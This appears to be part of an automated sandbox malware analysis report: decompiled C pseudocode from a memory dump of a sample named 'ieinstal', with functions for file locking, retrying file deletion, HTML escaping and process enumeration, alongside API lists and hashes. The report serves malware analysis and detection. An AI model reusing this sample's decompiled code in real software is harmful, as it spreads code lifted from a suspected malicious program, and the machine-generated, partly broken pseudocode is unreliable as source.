                                                                                                                            • Opcode ID: 2d8781ba105db3adf58cafe694f4c442d3862c9e44634e011589b3902fbf09db
                                                                                                                            • Instruction ID: 92dd2811bdb74a70ba85f750b5b6098557f3982e7a927aadba8bcdb4291d1afd
                                                                                                                            • Opcode Fuzzy Hash: 2d8781ba105db3adf58cafe694f4c442d3862c9e44634e011589b3902fbf09db
                                                                                                                            • Instruction Fuzzy Hash: D7518D71601704AFD724DF2AC586A5AB7F8FF48314F10892EE55ACB381DB75E9408B48
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00417887 Relevance: 13.6, APIs: 9, Instructions: 126filesleepCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 97%
                                                                                                                            			E00417887(long _a4, intOrPtr _a8) {
				signed int _v4;
				long _v8;
				void* __esi;
				signed char _t32;
				int _t49;
				long _t50;
				signed int _t52;
				int _t55;
				long _t56;

				_v4 = _v4 & 0x00000000;
				_v8 = _v8 & 0x00000000;
				_t56 = _a4;
				_t32 =  *((intOrPtr*)(_t56 + 0xc));
				_t52 = _t32 & 0x000000ff;
				_t55 = 1;
				if(_t52 >= _a8) {
					return 0;
				}
				__eflags = _t32;
				_a4 = _t52;
				if(_t32 == 0) {
					L5:
					_t49 = 3;
					while(1) {
						_t49 = _t49 - 1;
						_t55 = LockFile( *(_t56 + 8), 0x40000000, 0, 1, 0);
						__eflags = _t55;
						if(_t55 != 0) {
							break;
						}
						Sleep(1);
						__eflags = _t49;
						if(_t49 > 0) {
							continue;
						}
						break;
					}
					__eflags = _t55;
					_v4 = _t55;
					if(_t55 == 0) {
						_v8 = GetLastError();
					}
					goto L10;
				} else {
					__eflags = _a8 - 4;
					if(_a8 != 4) {
						L10:
						__eflags = _a8 - 1;
						if(_a8 != 1) {
							L15:
							_t50 = 2;
							__eflags = _a8 - _t50;
							if(_a8 != _t50) {
								L20:
								__eflags = _a8 - 4;
								if(_a8 != 4) {
									L25:
									__eflags = _v4;
									if(_v4 != 0) {
										__eflags = _a8 - 1;
										if(_a8 == 1) {
											UnlockFile( *(_t56 + 8), 0x40000000, 0, 1, 0);
										}
									}
									L28:
									__eflags = _t55;
									if(_t55 == 0) {
										_push(5);
										 *((intOrPtr*)(_t56 + 0x10)) = _v8;
										_pop(0);
									}
									 *((char*)(_t56 + 0xc)) = _a4;
									return 0;
								}
								__eflags = _t55;
								if(__eflags == 0) {
									goto L25;
								}
								L22:
								_v4 = _v4 & 0x00000000;
								_a4 = 3;
								E00417843(_t56, __eflags);
								_t55 = LockFile( *(_t56 + 8), 0x40000002, 0, 0x1fe, 0);
								__eflags = _t55;
								if(__eflags == 0) {
									_v8 = GetLastError();
									E004177BF(_t56, __eflags);
									goto L25;
								}
								_a4 = 4;
								goto L28;
							}
							__eflags = _t55;
							if(_t55 == 0) {
								goto L25;
							}
							_t55 = LockFile( *(_t56 + 8), 0x40000001, 0, 1, 0);
							__eflags = _t55;
							if(_t55 == 0) {
								_v8 = GetLastError();
								goto L20;
							}
							_a4 = _t50;
							goto L25;
						}
						__eflags = _t55;
						if(__eflags == 0) {
							goto L25;
						}
						_t55 = E004177BF(_t56, __eflags);
						__eflags = _t55;
						if(_t55 == 0) {
							_v8 = GetLastError();
							goto L15;
						}
						_a4 = 1;
						goto L25;
					}
					__eflags = _t32 - 2;
					if(__eflags != 0) {
						goto L22;
					}
					goto L5;
				}
			}












                                                                                                                            0x00417889
                                                                                                                            0x0041788e
                                                                                                                            0x00417893
                                                                                                                            0x00417897
                                                                                                                            0x0041789d
                                                                                                                            0x004178a0
                                                                                                                            0x004178a5
                                                                                                                            0x00000000
                                                                                                                            0x004178a7
                                                                                                                            0x004178ae
                                                                                                                            0x004178b8
                                                                                                                            0x004178bc
                                                                                                                            0x004178cd
                                                                                                                            0x004178cf
                                                                                                                            0x004178d0
                                                                                                                            0x004178de
                                                                                                                            0x004178e1
                                                                                                                            0x004178e3
                                                                                                                            0x004178e5
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x004178e9
                                                                                                                            0x004178ef
                                                                                                                            0x004178f1
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x004178f1
                                                                                                                            0x004178f3
                                                                                                                            0x004178f5
                                                                                                                            0x004178f9
                                                                                                                            0x00417901
                                                                                                                            0x00417901
                                                                                                                            0x00000000
                                                                                                                            0x004178be
                                                                                                                            0x004178be
                                                                                                                            0x004178c3
                                                                                                                            0x00417905
                                                                                                                            0x00417905
                                                                                                                            0x0041790a
                                                                                                                            0x00417936
                                                                                                                            0x00417938
                                                                                                                            0x00417939
                                                                                                                            0x0041793d
                                                                                                                            0x00417969
                                                                                                                            0x00417969
                                                                                                                            0x0041796e
                                                                                                                            0x004179b8
                                                                                                                            0x004179ba
                                                                                                                            0x004179be
                                                                                                                            0x004179c0
                                                                                                                            0x004179c5
                                                                                                                            0x004179d3
                                                                                                                            0x004179d3
                                                                                                                            0x004179c5
                                                                                                                            0x004179d9
                                                                                                                            0x004179d9
                                                                                                                            0x004179dd
                                                                                                                            0x004179e7
                                                                                                                            0x004179e9
                                                                                                                            0x004179ec
                                                                                                                            0x004179ec
                                                                                                                            0x004179f1
                                                                                                                            0x00000000
                                                                                                                            0x004179f1
                                                                                                                            0x00417970
                                                                                                                            0x00417972
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00417974
                                                                                                                            0x00417974
                                                                                                                            0x00417979
                                                                                                                            0x00417981
                                                                                                                            0x00417999
                                                                                                                            0x0041799b
                                                                                                                            0x0041799d
                                                                                                                            0x004179af
                                                                                                                            0x004179b3
                                                                                                                            0x00000000
                                                                                                                            0x004179b3
                                                                                                                            0x0041799f
                                                                                                                            0x00000000
                                                                                                                            0x0041799f
                                                                                                                            0x0041793f
                                                                                                                            0x00417941
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00417953
                                                                                                                            0x00417955
                                                                                                                            0x00417957
                                                                                                                            0x00417965
                                                                                                                            0x00000000
                                                                                                                            0x00417965
                                                                                                                            0x00417959
                                                                                                                            0x00000000
                                                                                                                            0x00417959
                                                                                                                            0x0041790c
                                                                                                                            0x0041790e
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00417919
                                                                                                                            0x0041791b
                                                                                                                            0x0041791d
                                                                                                                            0x00417932
                                                                                                                            0x00000000
                                                                                                                            0x00417932
                                                                                                                            0x0041791f
                                                                                                                            0x00000000
                                                                                                                            0x0041791f
                                                                                                                            0x004178c5
                                                                                                                            0x004178c7
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x004178c7

                                                                                                                            APIs
                                                                                                                            • LockFile.KERNEL32(?,40000000,00000000,00000001,00000000), ref: 004178DF
                                                                                                                            • Sleep.KERNEL32(00000001), ref: 004178E9
                                                                                                                            • GetLastError.KERNEL32 ref: 004178FB
                                                                                                                            • UnlockFile.KERNEL32(?,40000000,00000000,00000001,00000000), ref: 004179D3
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: File$ErrorLastLockSleepUnlock
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 3015003838-0
                                                                                                                            • Opcode ID: 2bcaca4b1abb42dedd91daaceb1976ea0637d726691221ef1964d55ebaf63db6
                                                                                                                            • Instruction ID: bb7e89fefddb53edf96b8819cb9ac805ac4f8ca395f1f2490f4f27a155f14dd5
                                                                                                                            • Opcode Fuzzy Hash: 2bcaca4b1abb42dedd91daaceb1976ea0637d726691221ef1964d55ebaf63db6
                                                                                                                            • Instruction Fuzzy Hash: C741FFB515C3029FE3209F219C05BA7B7F1BFC4714F20092EF5A556280CBB9D8898A6E
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00407E1E Relevance: 13.6, APIs: 9, Instructions: 115COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 42%
                                                                                                                            			E00407E1E(void* __edx, void* __esi, intOrPtr* _a4, wchar_t* _a8, intOrPtr _a12) {
				int _v12;
				void _v1039;
				char _v1040;
				void _v2063;
				char _v2064;
				intOrPtr _v2072;
				intOrPtr _v2076;
				intOrPtr _v2080;
				intOrPtr _v2084;
				intOrPtr _v2088;
				intOrPtr _v2092;
				intOrPtr _v2096;
				intOrPtr _v2100;
				char _v3126;
				long _v3648;
				char _v4672;
				char _v5696;
				short _v7744;
				short _v9792;
				char _v10816;
				void* __ebx;
				void* _t102;

				_t102 = __esi;
				0x44db70();
				_v1040 = 0;
				memset( &_v1039, 0, 0x3ff);
				_v2064 = 0;
				memset( &_v2063, 0, 0x3ff);
				_v12 = 0;
				if( *((char*)(__esi + 0x1000)) == 0x2a) {
					_v12 = 1;
				}
				0x446676( &_v10816, _t102);
				_t55 = _a4;
				if( *((intOrPtr*)(_a4 + 0x3dc)) == 2) {
					E00409115( &_v1040, _t55 + 4, _t102 + 0x400);
					_t83 = _a4;
					if( *((intOrPtr*)(_a4 + 0x3dc)) == 2) {
						E00409115( &_v2064, _t83 + 4, _t102 + 0x800);
					}
				}
				0x446676( &_v5696, _t102 + 0xc00);
				0x446676( &_v4672, _v12 + _t102 + 0x1000);
				0x446676( &_v3126, _t102 + 0x1400);
				wcscpy( &_v3648, _a8);
				MultiByteToWideChar(0xfde9, 0,  &_v1040, 0xffffffff,  &_v9792, 0x3ff);
				MultiByteToWideChar(0xfde9, 0,  &_v2064, 0xffffffff,  &_v7744, 0x3ff);
				_v2100 = _a12;
				_v2096 =  *((intOrPtr*)(_t102 + 0x1800));
				_v2092 =  *((intOrPtr*)(_t102 + 0x1804));
				_v2088 =  *((intOrPtr*)(_t102 + 0x1808));
				_v2084 =  *((intOrPtr*)(_t102 + 0x180c));
				_v2080 =  *((intOrPtr*)(_t102 + 0x1810));
				_v2076 =  *((intOrPtr*)(_t102 + 0x1814));
				_v2072 =  *((intOrPtr*)(_t102 + 0x1818));
				return  *((intOrPtr*)( *_a4))( &_v10816);
			}

























                                                                                                                            0x00407e1e
                                                                                                                            0x00407e26
                                                                                                                            0x00407e3d
                                                                                                                            0x00407e44
                                                                                                                            0x00407e55
                                                                                                                            0x00407e5b
                                                                                                                            0x00407e6a
                                                                                                                            0x00407e6d
                                                                                                                            0x00407e6f
                                                                                                                            0x00407e6f
                                                                                                                            0x00407e7e
                                                                                                                            0x00407e83
                                                                                                                            0x00407e8f
                                                                                                                            0x00407ea2
                                                                                                                            0x00407ea7
                                                                                                                            0x00407eb1
                                                                                                                            0x00407ec4
                                                                                                                            0x00407ec4
                                                                                                                            0x00407eb1
                                                                                                                            0x00407ed7
                                                                                                                            0x00407eee
                                                                                                                            0x00407f01
                                                                                                                            0x00407f10
                                                                                                                            0x00407f36
                                                                                                                            0x00407f50
                                                                                                                            0x00407f58
                                                                                                                            0x00407f64
                                                                                                                            0x00407f70
                                                                                                                            0x00407f7c
                                                                                                                            0x00407f88
                                                                                                                            0x00407f94
                                                                                                                            0x00407fa0
                                                                                                                            0x00407fb2
                                                                                                                            0x00407fc0

                                                                                                                            APIs
                                                                                                                            • memset.MSVCRT ref: 00407E44
                                                                                                                            • memset.MSVCRT ref: 00407E5B
                                                                                                                            • _mbscpy.MSVCRT ref: 00407E7E
                                                                                                                            • _mbscpy.MSVCRT ref: 00407ED7
                                                                                                                            • _mbscpy.MSVCRT ref: 00407EEE
                                                                                                                            • _mbscpy.MSVCRT ref: 00407F01
                                                                                                                            • wcscpy.MSVCRT ref: 00407F10
                                                                                                                            • MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,?,000003FF), ref: 00407F36
                                                                                                                            • MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,?,000003FF), ref: 00407F50
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: _mbscpy$ByteCharMultiWidememset$wcscpy
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 59245283-0
                                                                                                                            • Opcode ID: 2093e6e2fb276f324a3f34c95e94e469d6ba5033b990a3802bc2c4c250056f76
                                                                                                                            • Instruction ID: 836b70714d1948736637452a130addde846eabb024256fa404d9b75b59221f05
                                                                                                                            • Opcode Fuzzy Hash: 2093e6e2fb276f324a3f34c95e94e469d6ba5033b990a3802bc2c4c250056f76
                                                                                                                            • Instruction Fuzzy Hash: 2F4130B5900218AFDB20EB65CC81FDAB7FCBB09354F0085AAF559E7241DB34AB488F55
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0041851E Relevance: 13.6, APIs: 9, Instructions: 67sleepfileCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 88%
                                                                                                                            			E0041851E(void* __eflags) {
				void* __ebx;
				void* __ebp;
				void* _t3;
				void* _t12;
				long _t13;
				WCHAR* _t16;
				long _t18;
				long _t20;
				void* _t21;

				_t20 = 0;
				_t13 = 0;
				_t16 = E00418160(0, 0, __eflags,  *((intOrPtr*)(_t21 + 0x14)));
				if(_t16 != 0) {
					_t3 = E0041739B();
					__eflags = _t3;
					if(_t3 == 0) {
						while(1) {
							DeleteFileA(_t16);
							_t18 = GetFileAttributesA(_t16);
							__eflags = _t18 - 0xffffffff;
							if(_t18 != 0xffffffff) {
								goto L9;
							}
							_t13 = GetLastError();
							__eflags = _t13 - 5;
							if(_t13 != 5) {
								L11:
								0x4466a0(_t16);
								__eflags = _t18 - 0xffffffff;
								if(_t18 != 0xffffffff) {
									L14:
									return 0xa0a;
								}
								__eflags = _t13 - 2;
								if(_t13 != 2) {
									goto L14;
								}
								return 0;
							}
							L9:
							_t20 = _t20 + 1;
							__eflags = _t20 - 5;
							if(_t20 >= 5) {
								goto L11;
							}
							Sleep(0x64);
						}
					} else {
						goto L3;
					}
					while(1) {
						L3:
						DeleteFileW(_t16);
						_t18 = GetFileAttributesW(_t16);
						__eflags = _t18 - 0xffffffff;
						if(_t18 != 0xffffffff) {
							goto L5;
						}
						_t13 = GetLastError();
						__eflags = _t13 - 5;
						if(_t13 != 5) {
							goto L11;
						}
						L5:
						_t20 = _t20 + 1;
						__eflags = _t20 - 5;
						if(_t20 >= 5) {
							goto L11;
						}
						Sleep(0x64);
					}
				}
				_t12 = 7;
				return _t12;
			}












                                                                                                                            0x00418525
                                                                                                                            0x00418527
                                                                                                                            0x0041852e
                                                                                                                            0x00418533
                                                                                                                            0x0041853e
                                                                                                                            0x00418543
                                                                                                                            0x00418545
                                                                                                                            0x00418579
                                                                                                                            0x0041857a
                                                                                                                            0x00418587
                                                                                                                            0x00418589
                                                                                                                            0x0041858c
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00418594
                                                                                                                            0x00418596
                                                                                                                            0x00418599
                                                                                                                            0x004185ab
                                                                                                                            0x004185ac
                                                                                                                            0x004185b2
                                                                                                                            0x004185b6
                                                                                                                            0x004185c1
                                                                                                                            0x00000000
                                                                                                                            0x004185c1
                                                                                                                            0x004185b8
                                                                                                                            0x004185bb
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x004185bd
                                                                                                                            0x0041859b
                                                                                                                            0x0041859b
                                                                                                                            0x0041859c
                                                                                                                            0x0041859f
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x004185a3
                                                                                                                            0x004185a3
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00418547
                                                                                                                            0x00418547
                                                                                                                            0x00418548
                                                                                                                            0x00418555
                                                                                                                            0x00418557
                                                                                                                            0x0041855a
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00418562
                                                                                                                            0x00418564
                                                                                                                            0x00418567
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00418569
                                                                                                                            0x00418569
                                                                                                                            0x0041856a
                                                                                                                            0x0041856d
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00418571
                                                                                                                            0x00418571
                                                                                                                            0x00418547
                                                                                                                            0x00418537
                                                                                                                            0x00000000

                                                                                                                            APIs
                                                                                                                            • DeleteFileW.KERNEL32(00000000,?,00000000,00000080,0045DBC0,00417C3A,00000000,?,00000000,00000000), ref: 00418548
                                                                                                                            • GetFileAttributesW.KERNEL32(00000000), ref: 0041854F
                                                                                                                            • GetLastError.KERNEL32 ref: 0041855C
                                                                                                                            • Sleep.KERNEL32(00000064), ref: 00418571
                                                                                                                            • DeleteFileA.KERNEL32(00000000,?,00000000,00000080,0045DBC0,00417C3A,00000000,?,00000000,00000000), ref: 0041857A
                                                                                                                            • GetFileAttributesA.KERNEL32(00000000), ref: 00418581
                                                                                                                            • GetLastError.KERNEL32 ref: 0041858E
                                                                                                                            • Sleep.KERNEL32(00000064), ref: 004185A3
                                                                                                                            • ??3@YAXPAX@Z.MSVCRT ref: 004185AC
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: File$AttributesDeleteErrorLastSleep$??3@
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 3467550082-0
                                                                                                                            • Opcode ID: 56e4a7d77988e94444627618330347d92b7c0f18510b370ca22fa361cd1098af
                                                                                                                            • Instruction ID: d61f765991b085217c17e58d7c3851c8d0f597f546fc635256e60a728691d00d
                                                                                                                            • Opcode Fuzzy Hash: 56e4a7d77988e94444627618330347d92b7c0f18510b370ca22fa361cd1098af
                                                                                                                            • Instruction Fuzzy Hash: A011C639540624BBC61027716CC89BE3676E75B335B210A2EFA22912D0DF6C4CC2557E
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00414E7F Relevance: 13.6, APIs: 3, Strings: 6, Instructions: 63COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 16%
                                                                                                                            			E00414E7F(signed short* __eax, void* __ecx) {
				void* _t2;
				signed short* _t3;
				void* _t7;
				void* _t8;
				void* _t10;

				_t3 = __eax;
				_t8 = __ecx;
				_t7 = 8;
				while(1) {
					_t2 =  *_t3 & 0x0000ffff;
					if(_t2 != 0x3c) {
						goto L3;
					}
					_push(_t7);
					_push("&lt;");
					L14:
					_t2 = memcpy(_t8, ??, ??);
					_t10 = _t10 + 0xc;
					_t8 = _t8 + _t7;
					L16:
					if( *_t3 != 0) {
						_t3 =  &(_t3[1]);
						continue;
					}
					return _t2;
					L3:
					if(_t2 != 0x3e) {
						if(_t2 != 0x22) {
							if((_t2 & 0x0000ffff) != 0xffffffb0) {
								if(_t2 != 0x26) {
									if(_t2 != 0xa) {
										 *_t8 = _t2;
										_t8 = _t8 + 2;
									} else {
										_push(_t7);
										_push("<br>");
										goto L14;
									}
								} else {
									_push(0xa);
									_push("&amp;");
									goto L11;
								}
							} else {
								_push(0xa);
								_push("&deg;");
								L11:
								_t2 = memcpy(_t8, ??, ??);
								_t10 = _t10 + 0xc;
								_t8 = _t8 + 0xa;
							}
						} else {
							_t2 = memcpy(_t8, "&quot;", 0xc);
							_t10 = _t10 + 0xc;
							_t8 = _t8 + 0xc;
						}
					} else {
						_push(_t7);
						_push("&gt;");
						goto L14;
					}
					goto L16;
				}
			}








                                                                                                                            0x00414e84
                                                                                                                            0x00414e86
                                                                                                                            0x00414e88
                                                                                                                            0x00414e89
                                                                                                                            0x00414e89
                                                                                                                            0x00414e90
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00414e92
                                                                                                                            0x00414e93
                                                                                                                            0x00414efb
                                                                                                                            0x00414efc
                                                                                                                            0x00414f01
                                                                                                                            0x00414f04
                                                                                                                            0x00414f0d
                                                                                                                            0x00414f11
                                                                                                                            0x00414f14
                                                                                                                            0x00000000
                                                                                                                            0x00414f14
                                                                                                                            0x00414f1d
                                                                                                                            0x00414e9a
                                                                                                                            0x00414e9e
                                                                                                                            0x00414eac
                                                                                                                            0x00414ec9
                                                                                                                            0x00414ed8
                                                                                                                            0x00414ef3
                                                                                                                            0x00414f08
                                                                                                                            0x00414f0c
                                                                                                                            0x00414ef5
                                                                                                                            0x00414ef5
                                                                                                                            0x00414ef6
                                                                                                                            0x00000000
                                                                                                                            0x00414ef6
                                                                                                                            0x00414eda
                                                                                                                            0x00414eda
                                                                                                                            0x00414edc
                                                                                                                            0x00000000
                                                                                                                            0x00414edc
                                                                                                                            0x00414ecb
                                                                                                                            0x00414ecb
                                                                                                                            0x00414ecd
                                                                                                                            0x00414ee1
                                                                                                                            0x00414ee2
                                                                                                                            0x00414ee7
                                                                                                                            0x00414eea
                                                                                                                            0x00414eea
                                                                                                                            0x00414eae
                                                                                                                            0x00414eb6
                                                                                                                            0x00414ebb
                                                                                                                            0x00414ebe
                                                                                                                            0x00414ebe
                                                                                                                            0x00414ea0
                                                                                                                            0x00414ea0
                                                                                                                            0x00414ea1
                                                                                                                            0x00000000
                                                                                                                            0x00414ea1
                                                                                                                            0x00000000
                                                                                                                            0x00414e9e

                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memcpy
                                                                                                                            • String ID: &amp;$&deg;$&gt;$&lt;$&quot;$<br>
                                                                                                                            • API String ID: 3510742995-3273207271
                                                                                                                            • Opcode ID: 369a3f9b1fd6758dbfbd8abebbf452156f2c7f188bb79599d954c26419b7cbea
                                                                                                                            • Instruction ID: c5e12263314fdcdd46b54c12ab2af12db27c873e0c2922b0206687d3a4296adb
                                                                                                                            • Opcode Fuzzy Hash: 369a3f9b1fd6758dbfbd8abebbf452156f2c7f188bb79599d954c26419b7cbea
                                                                                                                            • Instruction Fuzzy Hash: A601F576F8032071EA3020058C46FF70558FBF2B1AFA20127FD86292D5D28D0AC7929F
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00413A3F Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 141COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 34%
                                                                                                                            			E00413A3F(long _a4, void _a8, intOrPtr _a12, long _a16, intOrPtr _a508, intOrPtr _a512, intOrPtr _a540, intOrPtr _a544, char _a552, char _a560, intOrPtr _a572, intOrPtr _a576, intOrPtr _a580, long _a1096, char _a1600, int _a1616, void _a1618, char _a2160) {
				void* _v0;
				intOrPtr _v4;
				intOrPtr _v8;
				unsigned int _v12;
				void* _v16;
				char _v20;
				char _v24;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v44;
				void* __edi;
				void* __esi;
				intOrPtr _t57;
				void* _t58;
				void* _t71;
				intOrPtr _t77;
				void _t88;
				signed int _t89;
				int _t96;
				signed int _t103;
				signed int _t104;

				_t104 = _t103 & 0xfffffff8;
				0x44db70();
				_t96 = 0;
				_a8 = 0;
				if(E00409D0E() == 0 ||  *0x45da84 == 0) {
					if( *0x45da80 != _t96) {
						_t88 = _a4;
						_t57 =  *0x45aa80(8, _t88);
						_v8 = _t57;
						if(_t57 != 0xffffffff) {
							_v0 = 1;
							_a560 = 0x428;
							_t58 =  *0x45aa78(_t57,  &_a560);
							while(_t58 != 0) {
								memset( &_a8, _t96, 0x21c);
								_a12 = _a580;
								_a8 = _t88;
								wcscpy( &_a16,  &_a1096);
								_a540 = _a576;
								_t104 = _t104 + 0x14;
								_a544 = _a572;
								_t48 =  &_a8; // 0x4133e1
								_a552 = 0x428;
								if(E00413C5F( *_t48,  &_a8) != 0) {
									_t58 =  *0x45aa74(_v16,  &_a552);
									continue;
								}
								goto L18;
							}
							goto L18;
						}
					}
				} else {
					_t71 = OpenProcess(0x410, 0, _a4);
					_v0 = _t71;
					if(_t71 != 0) {
						_push( &_a4);
						_push(0x8000);
						_push( &_a2160);
						_push(_t71);
						if( *0x45aa84() != 0) {
							_t6 =  &_v12;
							 *_t6 = _v12 >> 2;
							_v8 = 1;
							_t89 = 0;
							if( *_t6 != 0) {
								while(1) {
									_a1616 = _t96;
									memset( &_a1618, _t96, 0x208);
									memset( &_a8, _t96, 0x21c);
									_t77 =  *((intOrPtr*)(_t104 + 0x898 + _t89 * 4));
									_t104 = _t104 + 0x18;
									_a8 = _a4;
									_a12 = _t77;
									 *0x45aa7c(_v16, _t77,  &_a1616, 0x104);
									E00413959( &_v0,  &_a1600);
									_push(0xc);
									_push( &_v20);
									_push(_v4);
									_push(_v32);
									if( *0x45aa88() != 0) {
										_a508 = _v32;
										_a512 = _v36;
									}
									_t30 =  &_a8; // 0x4133e1
									if(E00413C5F( *_t30,  &_v24) == 0) {
										goto L18;
									}
									_t89 = _t89 + 1;
									if(_t89 < _v44) {
										_t96 = 0;
										continue;
									} else {
									}
									goto L18;
								}
							}
						}
						L18:
						CloseHandle(_v16);
					}
				}
				return _a8;
			}
























                                                                                                                            0x00413a42
                                                                                                                            0x00413a4a
                                                                                                                            0x00413a52
                                                                                                                            0x00413a54
                                                                                                                            0x00413a5f
                                                                                                                            0x00413b88
                                                                                                                            0x00413b8e
                                                                                                                            0x00413b94
                                                                                                                            0x00413b9d
                                                                                                                            0x00413ba1
                                                                                                                            0x00413bb5
                                                                                                                            0x00413bbd
                                                                                                                            0x00413bc4
                                                                                                                            0x00413c46
                                                                                                                            0x00413bd7
                                                                                                                            0x00413be3
                                                                                                                            0x00413bf4
                                                                                                                            0x00413bf8
                                                                                                                            0x00413c04
                                                                                                                            0x00413c12
                                                                                                                            0x00413c15
                                                                                                                            0x00413c21
                                                                                                                            0x00413c24
                                                                                                                            0x00413c32
                                                                                                                            0x00413c40
                                                                                                                            0x00000000
                                                                                                                            0x00413c40
                                                                                                                            0x00000000
                                                                                                                            0x00413c32
                                                                                                                            0x00000000
                                                                                                                            0x00413c46
                                                                                                                            0x00413ba1
                                                                                                                            0x00413a71
                                                                                                                            0x00413a7a
                                                                                                                            0x00413a82
                                                                                                                            0x00413a86
                                                                                                                            0x00413a90
                                                                                                                            0x00413a91
                                                                                                                            0x00413a9d
                                                                                                                            0x00413a9e
                                                                                                                            0x00413aa7
                                                                                                                            0x00413aad
                                                                                                                            0x00413aad
                                                                                                                            0x00413ab2
                                                                                                                            0x00413aba
                                                                                                                            0x00413abc
                                                                                                                            0x00413ac6
                                                                                                                            0x00413ad4
                                                                                                                            0x00413adc
                                                                                                                            0x00413aec
                                                                                                                            0x00413af4
                                                                                                                            0x00413afb
                                                                                                                            0x00413b03
                                                                                                                            0x00413b14
                                                                                                                            0x00413b18
                                                                                                                            0x00413b29
                                                                                                                            0x00413b2e
                                                                                                                            0x00413b34
                                                                                                                            0x00413b35
                                                                                                                            0x00413b39
                                                                                                                            0x00413b45
                                                                                                                            0x00413b4b
                                                                                                                            0x00413b56
                                                                                                                            0x00413b56
                                                                                                                            0x00413b62
                                                                                                                            0x00413b6c
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00413b72
                                                                                                                            0x00413b77
                                                                                                                            0x00413ac4
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00413b7d
                                                                                                                            0x00000000
                                                                                                                            0x00413b77
                                                                                                                            0x00413ac6
                                                                                                                            0x00413abc
                                                                                                                            0x00413c4a
                                                                                                                            0x00413c4e
                                                                                                                            0x00413c4e
                                                                                                                            0x00413a86
                                                                                                                            0x00413c5e

                                                                                                                            APIs
                                                                                                                            • OpenProcess.KERNEL32(00000410,00000000,00000000,?,?,00000000,?,004133E1,00000000,?), ref: 00413A7A
                                                                                                                            • memset.MSVCRT ref: 00413ADC
                                                                                                                            • memset.MSVCRT ref: 00413AEC
                                                                                                                              • Part of subcall function 00413959: wcscpy.MSVCRT ref: 00413982
                                                                                                                            • memset.MSVCRT ref: 00413BD7
                                                                                                                            • wcscpy.MSVCRT ref: 00413BF8
                                                                                                                            • CloseHandle.KERNEL32(?,3A,?,?,?,004133E1,00000000,?), ref: 00413C4E
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memset$wcscpy$CloseHandleOpenProcess
                                                                                                                            • String ID: 3A
                                                                                                                            • API String ID: 3300951397-293699754
                                                                                                                            • Opcode ID: 8542788a6fbd662e622ac6317d91a932690acc9b8880ba19fbfc79209a0c02cc
